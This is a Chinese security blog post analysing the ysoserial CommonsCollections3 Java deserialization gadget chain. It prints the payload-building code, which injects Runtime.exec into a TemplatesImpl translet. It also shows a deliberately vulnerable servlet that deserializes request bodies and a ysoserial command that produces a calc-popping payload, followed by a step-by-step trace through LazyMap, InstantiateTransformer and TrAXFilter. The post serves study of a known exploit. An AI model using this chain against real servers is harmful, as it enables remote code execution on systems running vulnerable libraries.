【yso】- CC3反序列化分析

admin 2022年5月5日23:42:14评论88 views字数 9092阅读30分18秒阅读模式

【yso】- CC3反序列化分析

前言

学习ysoserial中CommonsCollections3反序列化利用链。

ysoserial 中的 CC3 payload构造

先看下yso中cc3这条链的payload是怎么构造的,后续我们再分析反序列化的过程。

public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);

// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

首先通过Gadgets.createTemplatesImpl(command)方法获得一个TemplatesImpl对象实例。

获取系统属性 properXalan 的值。判断是否有这个系统变量的值。

【yso】- CC3反序列化分析

里找不到这个系统属性。两个return传入的参数一样,达到相同的效果。

传入createTemplatesImpl方法的参数如下:

【yso】- CC3反序列化分析

createTemplatesImpl

// 首先获取 TemplatesImpl 类实例。
final T templates = tplClass.newInstance();

// 通过前面介绍的javassist技术获取并修改 StubTransletPayload 类
ClassPool pool = ClassPool.getDefault();

// 将StubTransletPayload类和AbstractTranslet类添加到类搜索路径,第一个类为我们需要获取并修改的类,第二个类为父类。实际上这里手工添加类搜索路径起到一个保险作用。
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));

// 获取 StubTransletPayload 类并创建 CtClass 实例对象。CtClass 对象是可以被动态创建修改的。
final CtClass clazz = pool.get(StubTransletPayload.class.getName());

// 在 StubTransletPayload 类定义的最后添加静态代码块
String cmd = "java.lang.Runtime.getRuntime().exec("" +
   command.replace("\", "\\").replace(""", "\"") +
   "");";
clazz.makeClassInitializer().insertAfter(cmd);

// 将这个我们动态创建并进行了修改的类进行命名
clazz.setName("ysoserial.Pwner" + System.nanoTime());

// 获取 AbstractTranslet 类,并将该类作为新建类的父类
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

到此,一个新建类(StubTransletPayload)已经创建并修改完成。

// 获取这个新建的恶意类的字节码
final byte[] classBytes = clazz.toBytecode();

// 通过java反射机制将这个字节码填充到 TemplatesImpl 实例对象的 _bytecodes 属性中。这里为了代码规范,还注入了一个无意义的类的字节码
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
   classBytes, ClassFiles.classAsBytes(Foo.class)
});

【yso】- CC3反序列化分析

// 填充了 TemplatesImpl 实例对象的两个字段 "_name" 和 "_tfactory"
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

至此,我们得到了携带恶意类字节码的 TemplatesImpl实例对象,变量定义为templates

创建 ChainedTransformer 对象

创建ChainedTransformer对象,并创建Transformer对象数组,并在后面的代码中通过反射将ChainedTransformer对象的iTransformers属性赋值为Transformer对象数组。该对象数组含有两个元素,ConstantTransformer对象和InstantiateTransformer对象,具体作用在后面反序列化过程进行分析。

创建动态代理对象并绑定处理器AnnotationInvocationHandler

ChainedTransformer对象绑定到lazyMap对象上,后面只要lazyMap对象调用get(key)方法时,key不存在,则会调用ChainedTransformer对象的transform方法。

接着创建LazyMap的动态代理类并绑定处理器。这部分代码生成与cc1反序列化链生成一致,客气回顾以往的分析文章。

反序列化过程分析

1. 创建web项目

创建一个maven web项目,并创建一个servlet如下:

package com.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/s1")
public class Servlet1 extends HttpServlet {
   @Override
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       InputStream inputStream = req.getInputStream();
       ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
       try {
           objectInputStream.readObject();
      } catch (ClassNotFoundException e) {
           e.printStackTrace();
      }
  }

   @Override
   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       this.doGet(req, resp);
  }
}

pom.xml中添加commons-collections 3.1依赖

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

使用yso生成calc命令的payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections3 "calc" > cc3.ser

利用burp发送payload,成功执行命令弹出计算器:

【yso】- CC3反序列化分析

2. 反序列化链分析

反序列化的对象是AnnotationInvocationHandler,从AnnotationInvocationHandler.readObject()开始。

AnnotationInvocationHandler.readObject()

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
   var1.defaultReadObject();
   AnnotationType var2 = null;

   try {
       var2 = AnnotationType.getInstance(this.type);
  } catch (IllegalArgumentException var9) {
       throw new InvalidObjectException("Non-annotation type in annotation serial stream");
  }

   Map var3 = var2.memberTypes();
   Iterator var4 = this.memberValues.entrySet().iterator();

   while(var4.hasNext()) {
       Entry var5 = (Entry)var4.next();
       String var6 = (String)var5.getKey();
       Class var7 = (Class)var3.get(var6);
       if (var7 != null) {
           Object var8 = var5.getValue();
           if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
               var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
          }
      }
  }

}

注意这里:

Iterator var4 = this.memberValues.entrySet().iterator();

这里的memberValues的值是LazyMap的动态代理对象,他要执行entrySet方法,需要通过处理器AnnotationInvocationHandler.invoke()方法

AnnotationInvocationHandler.invoke()

public Object invoke(Object var1, Method var2, Object[] var3) {
   String var4 = var2.getName();
   Class[] var5 = var2.getParameterTypes();
   if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
       return this.equalsImpl(var3[0]);
  } else if (var5.length != 0) {
       throw new AssertionError("Too many parameters for an annotation method");
  } else {
       byte var7 = -1;
       switch(var4.hashCode()) {
       case -1776922004:
           if (var4.equals("toString")) {
               var7 = 0;
          }
           break;
       case 147696667:
           if (var4.equals("hashCode")) {
               var7 = 1;
          }
           break;
       case 1444986633:
           if (var4.equals("annotationType")) {
               var7 = 2;
          }
      }

       switch(var7) {
       case 0:
           return this.toStringImpl();
       case 1:
           return this.hashCodeImpl();
       case 2:
           return this.type;
       default:
           Object var6 = this.memberValues.get(var4);
           if (var6 == null) {
               throw new IncompleteAnnotationException(this.type, var4);
          } else if (var6 instanceof ExceptionProxy) {
               throw ((ExceptionProxy)var6).generateException();
          } else {
               if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                   var6 = this.cloneArray(var6);
              }

               return var6;
          }
      }
  }
}

在这一行代码中:

Object var6 = this.memberValues.get(var4);

这里是进入LazyMap动态代理对象的触发器的invoke方法,这里的memberValues就是之前绑定ChainedTransformer对象的LazyMap自身。这里就触发了条件:lazyMap对象调用get(key)方法时,key不存在,则会调用ChainedTransformer对象的transform方法。

LazyMap.get()

public Object get(Object key) {
  if (!super.map.containsKey(key)) {
      Object value = this.factory.transform(key);
      super.map.put(key, value);
      return value;
  } else {
      return super.map.get(key);
  }
}

this.factory属性就是ChainedTransformer对象。

ChainedTransformer.transform()

public Object transform(Object object) {
  for(int i = 0; i < this.iTransformers.length; ++i) {
      object = this.iTransformers[i].transform(object);
  }

  return object;
}

this.iTransformers中存储了ConstantTransformer对象和InstantiateTransformer对象。

ConstantTransformer.transform()直接返回类:com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

重点看InstantiateTransformer.transformer()

InstantiateTransformer.transformer()

【yso】- CC3反序列化分析

这里的input变量就是上一步ConstantTransformer.transform()返回的结果:TrAXFilter类。

这里会将实例化一个TrAXFilter类,传入构造函数的参数this.iArgs为之前生成反序列化链时的TemplatesImpl对象。

进入TrAXFilter的构造函数。

TrAXFilter.TrAXFilter()

【yso】- CC3反序列化分析

可以看到这里调用了templates.newTransformer,这部分就跟前面分析cc2利用链过程一样了。

TemplatesImpl.newTransformer() 方法主要用于获取 TransformerImpl 实例对象。

public synchronized Transformer newTransformer()
   throws TransformerConfigurationException
{
   TransformerImpl transformer;

   transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
       _indentNumber, _tfactory);

   if (_uriResolver != null) {
       transformer.setURIResolver(_uriResolver);
  }

   if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
       transformer.setSecureProcessing(true);
  }
   return transformer;
}

会调用 TemplatesImpl.getTransletInstance() 方法:

private Translet getTransletInstance()
   throws TransformerConfigurationException {
   try {
       if (_name == null) return null;

       if (_class == null) defineTransletClasses();

       // The translet needs to keep a reference to all its auxiliary
       // class to prevent the GC from collecting them
       AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
       translet.postInitialization();
       translet.setTemplates(this);
       translet.setServicesMechnism(_useServicesMechanism);
       translet.setAllowedProtocols(_accessExternalStylesheet);
       if (_auxClasses != null) {
           translet.setAuxiliaryClasses(_auxClasses);
      }

       return translet;
  }
   catch (InstantiationException e) {
       ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
       throw new TransformerConfigurationException(err.toString());
  }
   catch (IllegalAccessException e) {
       ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
       throw new TransformerConfigurationException(err.toString());
  }
}

_class[_transletIndex]就是我们通过 JAVAssist 构造的恶意类。

会对恶意类调用 newInstance() 方法,类会先被加载后再被实例化。

类在加载时会调用静态代码块中的内容。最终会调用 java.lang.Runtime.getRuntime().exec()执行我们的命令。

参考链接

https://www.cnblogs.com/tr1ple/p/12390094.html


原文始发于微信公众号(信安文摘):【yso】- CC3反序列化分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月5日23:42:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【yso】- CC3反序列化分析https://cn-sec.com/archives/978116.html

发表评论

匿名网友 填写信息